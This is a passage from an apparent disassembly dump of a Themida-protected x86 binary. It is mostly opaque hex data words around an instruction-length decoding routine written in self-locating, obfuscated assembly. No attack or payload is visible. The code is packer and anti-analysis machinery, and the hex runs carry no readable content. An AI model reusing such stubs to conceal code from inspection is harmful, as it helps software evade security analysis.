4FE81FD3h, 238C13Ah, 0CEC22CB6h dd 6C082C20h, 15F5ADE8h, 0A666DF93h, 0C26AFC03h, 4265259Eh dd 248444BDh, 3C593E5Bh, 3DE19D83h, 0DE8A03ABh, 25F88506h dd 4AC1E599h, 5D092186h, 25F88485h, 47C06418h, 50E21F87h dd 2CCA8826h, 701401D6h, 0D463BA4Ch, 0C7CD233Fh, 0D77B9B7Dh dd 0F50C9E5Eh, 6FBAF63h, 19C53E62h, 1C14C8F4h, 0F886EDA1h dd 7BFA65CBh, 644C6E5h, 218B0000h, 0A569E0h, 0E6C488FFh dd 0C9E0A41Bh, 0ABFBBF36h, 0D993DF56h, 0B82FD2D4h, 0D950BFF4h dd 0F76E9315h, 148B7433h, 4E26D24Bh, 0E119AF1Ah, 624536A9h dd 50570B9Dh, 1E991DAFh, 0C46298C0h, 3BA4701Bh, 55520226h dd 308933AAh, 0FDF094C7h, 32F0C874h, 0CF831FD3h, 1312ABh dd 0C9890000h, 9AFD21DEh, 199DAh, 1D8D4D00h, 86AA52E4h dd 0CB467C23h, 131BAF64h, 0CDA13D61h, 3E1FD387h, 6F1B94F9h dd 15F60BF6h, 9E5ED78Bh, 0BB7FF609h, 2A8113ECh, 630F880Dh dd 1C15143Eh, 48D037EBh, 0BBFA659Fh, 59C0625h, 0C9E30000h dd 0A8FDC138h, 8E1CE057h, 7138FC73h, 5353178Eh, 31EB37AEh dd 10877A2Ch, 31A8674Ch, 4FC63B6Dh, 6CE31C8Bh, 0A67E2AA3h dd 3919AF19h, 62458E01h, 0EF9B249Dh, 1FD3A217h, 9D7521AAh dd 301FD3A1h, 83B2D87Ch, 0BC1C4F5Fh, 69E6789Ch, 6DFF00A9h dd 0B6F1A1C5h, 0B833B749h, 47ACFB26h, 84FB9F60h, 943E9FDAh dd 192EF0h, 7CBB0000h, 0A16F47F3h, 4E021FD3h, 0A15129D5h dd 30E41FD3h, 0D4F10Ch, 0A27A0000h, 0C7870095h, 86FF23ECh dd 0F62690DAh, 9642CB15h, 25F825BEh, 0BBED9D51h, 0E80CB446h dd 0C282FBAFh, 0DFA31AE5h, 28A537C8h, 9EC23D68h, 4327EC4Bh dd 286EF779h, 5363486Eh, 7A236217h, 14D45DD6h, 33DB6D94h dd 0C302730Fh, 0C7871C1Ah, 57E22DFh, 16E9BC7Ch, 9A6542F2h dd 0B7485F23h, 0D8277E3Eh, 60848B28h, 0C1C077CEh, 5E881AE7h dd 0E989FAEDh, 0CB6F13B0h, 0ED149252h, 0BF093BC7h, 3C600318h dd 1E6217C3h, 66EF223Ah, 3C5EE2BAh, 1DC17532h, 4E523CB6h dd 0E20197E4h, 47Ah, 9F16EBC1h, 0BE35CADBh, 0DA51B0FAh dd 0F56C9316h, 158C7531h, 0A0060FC9h, 8D26EA61h, 61470B82h dd 426529A0h, 47D46BDh, 0AF188058h, 68DB1319h, 13EDAh dd 95A26300h, 3EFE8700h, 60089A75h, 2656A03Ch, 1DD115F6h dd 3CC3E4A4h, 59A601C5h, 0C2C770C7h, 0F78AC049h, 4D797378h dd 20E1C777h, 18EF60FCh, 0B4741C1Bh, 0F26B0FF2h, 138A7532h dd 2EA7584Fh, 37C9386Eh, 82D96B8Fh, 3167E0B5h, 0CD67114h dd 0D42B7E7Ah, 0A930C30h, 16C01AD4h, 21D12CCBh, 0BA567A87h dd 22399305h, 855D0992h, 18323BD2h, 0FF2B464h, 0CA31D57Dh dd 0E44EDE9Ah, 0C3EC0BA1h, 0A000003h, 24E85FA2h, 43077E81h dd 5F239A67h, 7A3EB54Ah, 125ED52Ch, 0B0515558h, 0D13E7539h dd 0EF12965Ah, 0CF3B478h, 0A753CC95h, 19AF17CFh, 45B72A62h dd 441CC862h, 0D71FD3A1h, 39ED7F23h, 4BFF916Eh, 5D11A35Ch dd 1C26B849h, 5CDC518Dh, 8324FDE1h, 1E5B057Ch, 0AFF094BCh dd 5Fh, 73D1F026h, 4937B199h, 0E50B3BF1h, 365A3E5Ah, 95A2D3h dd 88245187h dd 0AC258E26h, 1F630F88h, 0CA15F07Bh, 0CDDD9D16h, 32788B28h dd 0E872BCFh, 7B01D985h, 8C1D25F2h, 2B7A3A73h, 0F69A42D4h dd 0D6AB5BD2h, 2325F27Ah, 7B16EE9Ah, 0F5A925F2h, 798621D1h dd 956C3E02h, 308E403h, 456D0000h, 580C9E63h, 7539B04Fh dd 0C36FF832h, 1FD3A1EBh, 562ECA7Eh, 0E91FD3A1h, 4BFF9135h dd 9F2CA35Ch, 0AC535616h, 0FED6721Ah, 1A1FD3A1h, 7B3B748Bh dd 0C30D42Dh, 920B7EB9h, 0F0A9D1E6h, 8BE81E15h, 0D973AFF7h dd 681C5579h, 0E2BA66EFh, 7525F2FDh, 6B0B9DC1h, 25F2FD97h dd 0E5C080FDh, 0BCE0881Ah, 0DB9E9D41h, 0F209741Ch, 30h dd 95A27Fh, 8136DB87h, 2FE315F0h, 4760209Dh, 5A7E26B8h dd 0F2C1EABEh, 0DD15025h, 0AEE6154Bh, 8DBA4F74h, 0BE86D369h dd 0D3270974h, 0B4000000h, 249D6245h, 6B83EFEEh, 0E2924A52h dd 1A93BC6h, 0F974BDDh, 0ADE360F2h, 152DB8ADh, 0FED682D5h dd 911FD30Ch, 651539DDh, 772BBD42h, 0A858CF30h, 1FD310D7h dd 0C43DC2E5h, 0E103658Eh, 6D547FD6h, 0F6496F18h, 52560643h dd 50148BAFh, 0BF16A857h, 0F09C1578h, 15F06BC7h, 8411883Ch dd 0B24EB64Eh, 7EA48256h, 9EE9478Dh, 0A7FA1EDBh, 0C484FD90h dd 7EF71BE6h, 136EF7D2h, 67E0941Ch, 8B02FFA7h, 0BB22DFC7h dd 0FA66E2DDh, 0DBD3F288h, 22000001h, 3C00778Ah, 5B1F9669h dd 773BB24Fh, 9256CD32h, 2A76ED14h, 0C8396D70h, 0E9268D51h dd 7FAAE72h, 24DBCC90h, 0BF6BE4ADh, 19AF15E7h, 45CF427Ah dd 9C29A061h, 8326CDDCh, 9E42EA7Ch, 22DDCA7Ah, 95A234ABh dd 36DB8700h, 0E315F081h, 97209D2Fh, 0F2C213EBh, 0CCF2A625h dd 57254825h, 0A541652Ah, 25F32DD1h, 3226B837h, 3BCD3472h dd 80D96F93h, 2D0974C8h, 0D4h, 9D6245BAh, 0DCCE8E0Bh, 55510125h dd 0A97A1AACh, 0B71FD3A5h, 0A4D88DF0h, 0B061325Ah, 0D208950Ch dd 49FA447Eh, 0D383A7B4h, 0F2B22BD4h, 96284CB3h, 0E3D09019h dd 2CB8902Ch, 0D2D41FD4h, 1E42F62Fh, 0B0296CCBh, 0F141DB04h dd 259C5015h, 9B1479BEh, 14AEAFEFh, 259E521Ch, 34CBDC9Ch dd 694AFAA2h, 0D4D282A6h, 0B4F2B62Dh, 0FF2B878h, 6139D57Dh dd 0F42C14EDh, 0E9189040h, 0A40BAF57h, 0FA67A5ECh, 0DBB2D167h dd 22000000h, 3C00778Ah, 5B1F9669h, 773BB24Fh, 9256CD32h dd 2A76ED14h, 0C8396D70h, 0E9268D51h, 7FAAE72h, 24DBCC90h dd 0BF6BE4ADh, 19AF14E7h, 45CF427Ah, 41451E61h, 78BD74E1h dd 10D05DD4h, 0EE6929Ah, 0A11FD326h, 752549EDh, 0DF56CD32h dd 0B9D6245h, 2EDA5057h, 1FD3A156h, 1A9135E9h, 28D9CD8Dh dd 386B104h, 268CDE8Ah, 17D715F6h, 144D718Eh, 2607DF8Bh dd 822325F8h, 0EC90447Dh, 0FE01A65Ah, 793AFA87h, 1F47096h dd 0E3051174h, 67980FBFh, 9B8935D5h, 0A837CF62h, 43BCEB36h dd 609F08CCh, 708F1ACEh, 847B2ADEh, 99683EF2h, 6DE8A07h dd 9957E2DCh, 8E50DFE5h, 4C92119Fh, 0B42DD2D5h, 264AB5F4h dd 43BCEBAFh, 0C92B1h, 0A71B0000h, 0CF4AF42Ah, 0D29B2406h dd 67454BAEh, 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h dd 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 6886A234h dd 6973h, 52242C89h, 0C281E289h, 4, 8704EA83h, 895C2414h dd 6E682404h, 89000038h, 0E5682414h, 8B062483h, 0C4832404h dd 148B5404h, 4C48124h, 51000000h, 0BB53C189h, 8, 0B89D301h dd 148B595Bh, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 5324048Bh, 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFAEEEAh dd 4CF61BCEh, 692EC3C7h, 0C4A06480h, 248E23B8h, 0FFC50306h dd 1A96F0E0h, 0E5AFA66Ch, 0BBB1DA15h, 6263E473h, 0D4492C5Ah dd 6BE4D914h, 49CEEA00h, 92803722h, 4287F932h, 0BEA32753h dd 992A645Bh, 7E0CE927h, 0E42C7828h, 99F25335h, 90306239h dd 4CC2DD2Dh, 0FCE1515Bh, 18008C05h, 0BB0E5333h, 0E604560Ah dd 0CA116A4Bh, 6F380F1Fh, 0B170763Eh, 26A17A32h, 7FCEA91Ch dd 1A990D06h, 0F9561634h, 0AB2E956Dh, 0A299412Ah, 0D9421E04h dd 5DE5365Eh, 0EA485321h, 14E800h, 0BBEE0000h, 1C7007D0h dd 887B356Fh, 819778Bh, 1361A4B6h, 11E9B43Ch, 27000000h dd 38ABA0D1h, 0C30946DAh, 0B320AB48h, 7E9A314Fh, 81DA8B58h dd 6BA6C0h, 58E0F00h, 0BB000000h, 7A59EA20h, 0DE8BF62Bh dd 81303C8Bh, 6A446EEBh, 0B6F78166h, 604018B3h, 57578CB3h dd 81615F5Ah, 1323B8F7h, 81F98A05h, 991071C7h, 0CA8B6623h dd 8B303C89h, 8107B1D0h, 0E94CDAEEh, 6ADA8049h, 4CD6C681h dd 0C38149E9h, 28292432h, 951CFE81h, 850FFFFFh, 18h, 0E9EDCA80h dd 2Ch, 7F5D3BB0h, 7B7F38F6h, 0F49CA68Ah, 0E2348C24h, 0E9DBBF0Fh dd 0FFFFFF90h, 3036BD8Dh, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh dd 921A22CFh, 1C8E9h, 8 dup(41888800h), 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 100h, 14h dup(0) dd 6380C300h, 7577EDh, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 dd 0D0ED815Dh, 60062491h, 911D85C7h, 624h, 81660000h, 0FA1663Eh dd 0F85h, 2185C700h, 6062491h, 0E9000000h, 24h, 9125858Dh dd 8D500624h, 24917585h, 6A565006h, 1DE800h, 0C4830000h dd 0FF2510h, 85890000h, 6249121h, 21B50361h, 8B062491h dd 24911D85h db 6, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_586F54 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_586F60 ; --------------------------------------------------------------------------- loc_586F54: ; CODE XREF: Themida_:00586F3Dj and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_586F60: ; CODE XREF: Themida_:00586F4Fj push ebx push esi push edi loc_586F63: ; CODE XREF: Themida_:00586FB8j ; Themida_:00586FD4j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_586F76: ; CODE XREF: Themida_:00586F9Dj movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6249287h lea ebp, [ebp+62490FDh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_586FA3 inc cl cmp cl, 0Bh jb loc_586F76 loc_586FA3: ; CODE XREF: Themida_:00586F92j cmp cl, 0Bh jz loc_587000 cmp al, 66h jnz loc_586FE1 cmp byte ptr [ebp-5], 0 jnz loc_586F63 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_586FD9 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_586F63 ; --------------------------------------------------------------------------- loc_586FD9: ; CODE XREF: Themida_:00586FC6j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_586FE1: ; CODE XREF: Themida_:00586FAEj cmp al, 67h jnz loc_586F63 cmp byte ptr [ebp-6], 0 jnz loc_586F63 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_586F63 ; --------------------------------------------------------------------------- loc_587000: ; CODE XREF: Themida_:00586FA6j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_58702C movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_587031 ; --------------------------------------------------------------------------- loc_58702C: ; CODE XREF: Themida_:0058700Bj movzx edi, al shr edi, 1 loc_587031: ; CODE XREF: Themida_:00587027j push ebp call $+5 pop ebp sub ebp, 624933Fh lea ebp, [ebp+6248FFDh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5871B3 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5870F7 dec ecx jz loc_5870DA dec ecx jnz loc_58714A cmp byte ptr [ebp-2], 0 jnz loc_587146 cmp byte ptr [ebp-5], 0 jz loc_5870B9 mov byte ptr [ebp+0Bh], 2 loc_5870B9: ; CODE XREF: Themida_:005870AFj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 62493CBh mov dword ptr [ebp+624911Dh], 1 pop ebp jmp loc_58714A ; --------------------------------------------------------------------------- loc_5870DA: ; CODE XREF: Themida_:00587094j cmp byte ptr [ebp-2], 0 jnz loc_587124 cmp byte ptr [ebp-5], 0 jz loc_587124 mov byte ptr [ebp+0Bh], 2 jmp loc_587124 ; --------------------------------------------------------------------------- loc_5870F7: ; CODE XREF: Themida_:0058708Dj cmp byte ptr [ebp-2], 0 jnz loc_58713D cmp byte ptr [ebp-5], 0 jz loc_58712C movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_587124 mov [ebp+0Bh], cl loc_587124: ; CODE XREF: Themida_:005870DEj ; Themida_:005870E8j ... inc byte ptr [ebp+0Bh] jmp loc_58714A ; --------------------------------------------------------------------------- loc_58712C: ; CODE XREF: Themida_:00587105j cmp dl, 5 jnz loc_58714A mov [ebp+0Bh], dl jmp loc_58714A ; --------------------------------------------------------------------------- loc_58713D: ; CODE XREF: Themida_:005870FBj cmp dl, 6 jnz loc_58714A loc_587146: ; CODE XREF: Themida_:005870A5j mov byte ptr [ebp+0Bh], 3 loc_58714A: ; CODE XREF: Themida_:0058709Bj ; Themida_:005870D5j ... dec byte ptr [ebp+0Bh] jz loc_587178 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_58715A: ; CODE XREF: Themida_:00587170j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_58715A mov esi, edx loc_587178: ; CODE XREF: Themida_:0058714Dj and al, 0FEh cmp al, 0F6h jnz loc_5871AD cmp edi, 7Fh ja loc_5871AD test bl, 38h jnz loc_5871AD cmp byte ptr [ebp-7], 0 jz loc_5871A7 movzx eax, byte ptr [ebp-4] jmp loc_5871AA ; --------------------------------------------------------------------------- loc_5871A7: ; CODE XREF: Themida_:00587198j push 1 pop eax loc_5871AA: ; CODE XREF: Themida_:005871A2j mov [ebp-1], al loc_5871AD: ; CODE XREF: Themida_:0058717Cj ; Themida_:00587185j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5871B3: ; CODE XREF: Themida_:0058705Dj mov al, bl and eax, 7 sub eax, 4 jz loc_5871DE dec eax dec eax jz loc_5871D4 and bl, 7 add [ebp-1], bl jmp loc_5871E6 ; --------------------------------------------------------------------------- loc_5871D4: ; CODE XREF: Themida_:005871C3j mov al, [ebp-3] add al, 6 jmp loc_5871E3 ; --------------------------------------------------------------------------- loc_5871DE: ; CODE XREF: Themida_:005871BBj mov al, [ebp-3] add al, 4 loc_5871E3: ; CODE XREF: Themida_:005871D9j add [ebp-1], al loc_5871E6: ; CODE XREF: Themida_:005871CFj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_58720E movzx ecx, byte ptr [ebp-1] inc ecx loc_5871F9: ; CODE XREF: Themida_:00587208j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5871F9 loc_58720E: ; CODE XREF: Themida_:005871EEj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Bh, 0D0h, 8Dh dd 2495D88Dh, 0F381F506h, 297B09D8h, 0B5D8D89h, 6A061Fh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 0BBA115C3h, 3C8876EDh, 89FE855Bh, 1F2671BDh, 0C585C706h dd 74061F20h, 6A000059h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 9ECEC357h, 8D0Fh, 85C70000h dd 61F137Dh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CCC35040h dd 0FA91E844h, 417B8CF9h, 0E3816684h, 0B5FFA844h, 61F105Dh dd 95FFF38Bh, 61F2D59h, 72D08166h, 0FF006A14h, 1F1D4595h dd 0EBC08B06h, 0D1FBD1Bh, 169AD9BCh, 0F7BC8304h, 3AD99C61h dd 1B84A42Bh, 7A5A9D64h, 0B0F6E785h, 15CE9h, 221FBB00h dd 3A4B81F0h, 28589196h, 23562B0Ah, 2056F053h, 2B58970Ah dd 719D53h, 52248F3Ah, 7225A353h, 0C67939C4h, 15B6BD60h dd 64149752h, 64159F53h, 6414DB53h, 6414E953h, 6414F653h dd 64147B53h, 64149253h, 6414DE53h, 64146753h, 6414B753h dd 176D8853h, 64798827h, 0B66A673h, 17671E30h, 6414BD0Eh dd 6414DE53h, 64146F53h, 6414B753h, 6414DB53h, 6414ED53h dd 6414F653h, 64147B53h, 6414BD53h, 6414DE53h, 64146F53h dd 6414B753h, 6414DB53h, 6414ED53h, 6414F653h, 64147B53h dd 6414BD53h, 6414DE53h, 64146F53h, 6414B753h, 6414DB53h dd 6414ED53h, 6414F653h, 64147B53h, 6414BD53h, 6414DE53h dd 64146F53h, 6414B753h, 6414DB53h, 6414ED53h, 6414F653h dd 64147B53h, 6414BD53h, 6414DE53h, 64146F53h, 6414B753h dd 6414DB53h, 6414ED53h, 6414F653h, 64147B53h, 6414BD53h dd 6414DE53h, 64146F53h, 6414B753h, 6414DB53h, 6414ED53h dd 6414F653h, 64147B53h, 6414BD53h, 6414DE53h, 64146F53h dd 6414B753h, 6414DB53h, 6414ED53h, 6414F653h, 64147B53h dd 6414BD53h, 6414DE53h, 64146F53h, 6414B753h, 6414DB53h dd 0F4582653h, 15FFE926h, 1F680000h, 0E9062499h, 0FFFBB265h dd 2499FD68h, 0B25BE906h, 0D068FFFBh, 0E906249Ah, 0FFFBB251h dd 249B9768h, 0B247E906h, 6568FFFBh, 0E906249Dh, 0FFFBB23Dh dd 249ED268h, 0B233E906h, 0A868FFFBh, 0E906249Fh, 0FFFBB229h dd 24A07368h, 0B21FE906h, 5868FFFBh, 0E90624A2h, 0FFFBB215h dd 24A33468h, 0B20BE906h, 68FFFBh, 0E90624A4h, 0FFFBB201h dd 24A47768h, 0B1F7E906h, 0DD68FFFBh, 0E90624A5h, 0FFFBB1EDh dd 24AACC68h, 0B1E3E906h, 0D968FFFBh, 0E90624ABh, 0FFFBB1D9h dd 0B71889B0h, 5CBD5056h, 0FD5E31FBh, 9CFD909Ch, 3A9B703Bh dd 0F5B6790Ch, 5A5EBF20h, 3A0162C3h, 82A30465h, 0E74CA809h dd 0B2AF3AB4h, 0B1F69DF7h, 0F38281A4h, 5B2C3F0Dh, 0E136B968h dd 8EE243C4h, 398EF797h, 0C04EC3E8h, 0B008B879h, 6BEE9DFBh dd 0AE04BE34h, 3150F2F7h, 3267AF5h, 4ECBA1h, 0B1760000h dd 5CB11A74h, 0E96C230Bh, 2C75BC4Ah, 9FBAF37h, 0B76C4FA0h dd 0A04E9534h, 25F7AD37h, 57EC14A6h, 77265117h, 2C0E5FC8h dd 0C957F679h, 0F6E30F46h, 0F4BAF7ADh, 65499E21h, 0EEA02FB2h dd 54F648CFh, 576F935h, 0B5CFA103h, 7A000000h, 850881A4h dd 179A0F30h, 0CD426DBEh, 18BD3164h, 6312F18Eh, 0D45570D5h dd 6029FC51h, 1C6FBCFFh, 97AEF18Eh, 0FF50B516h, 8CE1643Bh dd 0AE3CEBA2h, 28AB7C49h, 5AC345E0h, 0CE5E9851h, 0D40A958h dd 0FBAF9C80h, 0EC3DA655h, 29597C0h, 37B7EA53h, 98F7ADB2h dd 0A6FA5BE9h, 73A60F7Fh, 1CD41DBh, 53A40DBCh, 0ED52B368h dd 7301949Ch, 0FD782D0Eh, 0E2FD89DEh, 7BDE2DB0h, 85000013h dd 2182E3BCh, 0C223841Bh, 63C425F8h, 263C45Bh, 0D5036439h dd 0E7BC7FB0h, 8A1D2586h, 2EE3C829h, 0D0596CCDh, 7BAE136Fh dd 0F7B2B173h, 0A478BD64h, 44A5069Bh, 0F647A861h, 0B11A74B1h dd 0AF37237Eh, 8205B4FBh, 41880829h, 3A6F7CE0h, 3D1DF505h dd 8A184650h, 0AD36AF43h, 57A801F7h, 9C3BBE51h, 13D5C0Eh dd 0A102456Eh, 0BAD7h, 81A48200h, 0F308508h, 9443DAE4h dd 1AC0A2Bh, 0B639ECD0h, 0D46BE217h, 0E51C9F2Dh, 0F18E8746h dd 0B5396CC1h, 0E0F18E87h, 27C649DCh, 5ABF4DFCh, 859C24Bh dd 3E076C3Dh, 0BD4BEA6Dh, 612AFB5Ch, 0FF8F96DEh, 0A57A4596h dd 127BAE17h, 0C3FBAF76h, 0C65FB314h, 372C5FC8h, 8001CD05h dd 141768D1h, 0F2BD1E7Fh, 70C3A21Dh, 0DC5FE2FDh, 129D8Dh dd 1182A700h, 0B6694FB0h, 53CAF455h, 0FAAD91F2h, 0A2773899h dd 0BD721341h, 5BBC1DF2h, 0FE5FC057h, 0A2036439h, 4DA90A83h dd 0B139B5E8h, 0F79EF7B2h, 6F4FA0B2h, 0DCE035B8h, 0A70C9A49h dd 4DAE0F84h, 0F546AF78h, 37D659CEh, 0A4F748A9h, 30850881h dd 0DA2B9415h, 19B83BD2h, 0E7C92A8Bh, 4D58AD30h, 23135BBCh dd 79E2AC79h, 0AF388746h, 0A9948FBh, 1D6E80A1h, 0F18827A2h dd 0D51C63h, 50D5EE34h, 70610CB0h, 240CB13Dh, 427726E3h dd 0F2A177D7h, 9C6D3889h, 83EC7A19h, 45202950h, 0DC5F0EEDh dd 8CF59194h, 0C5C2E637h, 0DA1B3CD7h, 0A12FDE63h, 377C095Ah dd 0BA23D2F3h, 0C28A4465h, 0B243F846h, 25E6BF24h, 0C94263C4h dd 6BA6054Eh, 43921513h, 11CAh, 0D334EDD4h, 78D94C72h dd 21821517h, 0C829FCC0h, 6ECF4467h, 0C1EA2D40h, 0A68AEB4Ch dd 62D8EEFh, 0F6CF3091h, 1378D435h, 0B2B20EE0h, 0D51AC1F7h dd 9F0881A4h, 9E569A7Eh, 0E786099Ch, 0A9688FB2h, 0D550981Bh dd 9C1D50B9h, 0F9FBAF1Dh, 0BD88E94Ah, 0D3283ECh, 0E8761598h dd 7E081D65h, 9EF3E215h, 459601C9h, 0EB16A47Bh, 0A382D33Ch dd 1D2889EAh, 8E3DD0D6h, 2462C30Bh, 156D88BBh, 0E952FBE6h dd 0AD2A38B6h, 39E897F7h, 0E5A67FD0h, 8E012B7Ch, 673E9F00h dd 4ADB23A6h, 0BE82D33Ch, 37C564E7h, 365879CEh, 0A700EA3Eh dd 0CC4FC6ECh, 13197E2Dh, 0CC5AF97Ch, 0CEE44C85h, 5FDA8901h dd 0E2C30E1Ah, 35EAD30h, 0D000011h, 0A90A6B24h, 4AAB0C83h dd 0EB4CAD60h, 8AEB4CC3h, 5D8BECA1h, 6F240708h, 1285AD0Eh dd 0B66B50B1h, 58D1F455h, 3369BF7h, 0F7B2B3EBh, 0A40045ECh dd 51A5069Bh, 1E51BAD4h, 0FBAF08FFh, 499E21D0h, 0ED42AB7Ch dd 0B6FD909Ch, 0F7AD2838h, 0F95AE897h, 0A87F4394h, 93F88625h dd 2E76F9B2h, 221911F7h, 632B1551h, 1C7B882Eh, 8736F070h dd 0B678C91Eh, 2FBD5CDFh, 0CE8151E8h, 0E5D7F801h, 6F9B19DDh dd 0C245C6DFh, 0BBE67423h, 893B890Ch, 8F182D6Ah, 854BDA2Eh dd 0D039E8BFh, 0AFFE809Dh, 0C8F055FBh, 8433D255h, 5757A801h dd 0C4E83DC0h, 0AF14A251h, 0C6595F96h, 53059417h, 65210434h dd 0EE54C9FCh, 4AF901CEh, 0FC2F84E9h, 0F18F0EF2h, 43A836E5h dd 0EF26A962h, 0F18EFE03h, 4081A04Eh, 6DA0CDEFh, 0F18EFE81h dd 75F8A756h, 0DB8A1F20h, 0FEAF3F72h, 7120F18Eh, 0E6A77EE3h dd 3AFF2085h, 32E7708Bh, 0C7DE43D1h, 0AA7BC346h, 62FFEF22h dd 21D0F18Eh, 83D60972h, 0E6FBAF75h, 91905E91h, 903FF7ADh dd 0C728D702h, 14DA0D62h, 89F7AD91h, 0CE6DF0A7h, 1A66F4A3h dd 0EC2633Fh, 5BC4732Ah, 0EC6F260Ah, 3DB1E44Dh, 92F7AD91h dd 97EC55E3h, 78B07476h, 0BF5EE1B4h, 0E4AE028Ah, 45BE0F56h dd 0B0D101CAh, 0A7DA3D9Ah, 0F1C9DC47h, 71A4D988h, 85B3C1C6h dd 0A3D5E977h, 0F4AB8FF4h, 1944D271h, 0B576DB6Ah, 0CC265DE0h dd 0CDF1C984h, 58DBB27Ch, 52D32BB9h, 5598CB34h, 3CFBE5FAh dd 7C53061Bh, 8C3764FBh, 4B93C877h, 749F2D84h, 3A0B5CC5h dd 96AF1071h, 0E8399215h, 2FCE51C4h, 0E8733CA1h, 30CF52C7h dd 43890681h, 5EE1E4DCh, 0F350Fh, 0A97A3F00h, 4EC1E748h dd 0EBA28CEDh, 9205298Ah, 3AEFD031h, 55DAABD9h, 0F354B56Ah dd 96F758CFh, 3A9BFC91h, 0E541A26Bh, 0B5A14D80h, 8F36F7B2h dd 69BA44Ah, 0B0794C9Dh, 37598E2Dh, 0C0E3EB20h, 75D637C5h dd 4D6ED750h, 9160A582h, 0F2BA1F47h, 6BF9981Bh, 0F9B293E8h dd 827D576h, 0D031FACBh, 0E404FF70h, 94C71C9Ah, 0F18EEA5Ah dd 4769CE7Dh, 20AE4DD0h, 181E1h, 81A48C00h, 15308508h dd 7DCE3394h, 0F0005AB7h, 0FC283AFCh, 0BE67BF4Dh, 0FD3467D0h dd 9CFBAF7Ch, 0E5B0A97Bh, 93216297h, 0FF36B968h, 0F7AE0BF3h dd 0BBFC1BBDh, 0BBB3366h, 6D1CF7AEh, 2DF47BDFh, 0D627A103h dd 74B341D4h, 42h, 694FA01Fh, 55D028B6h, 49DD039h, 0D1FBAF37h dd 8A689F22h, 13F7AD37h, 0A2F77A2Dh, 3886099Ch, 8EE06786h dd 0DE91CDECh, 3DA10245h, 2B39B5E8h, 0EF9EF7ADh, 3574F9BAh dd 0AF3D9F7Bh, 0A770h, 81A41B00h, 37BA7352h, 0D66E998h dd 5644DAECh, 53E1B0A7h, 0D558CDEEh, 0C2EA580h, 0C8771699h dd 979BEC45h, 50DE7D00h, 0F051DAEBh, 8EE97EADh, 7F081DF1h dd 2B5BCA1Eh, 0D94E71C2h, 32AFE24Bh, 83FBAE6Eh, 111A6BD4h dd 95B61B7Ch, 647C9436h, 2F942297h, 93DEE10Ch, 0C447F6A9h dd 92FB7625h, 0E0E4E212h, 0DC80E5Dh, 0EFD20000h, 4E74D536h dd 2B1576D7h, 8AB21374h, 6E51B213h, 5B2A58B9h, 0D536EBD4h dd 78D94C74h, 1A7B1017h, 0BA1BECB9h, 28C6F95Eh, 0A7F7B2B6h dd 4FA0BB00h, 0C328B669h, 61C223F8h, 1162C344h, 9F0881A4h dd 745D307Eh, 0C856E860h, 9AD5F045h, 8E908767h, 70383EF1h dd 26B680ECh, 0B0E34CFBh, 0F18E573Eh, 0D233E291h, 50D35471h dd 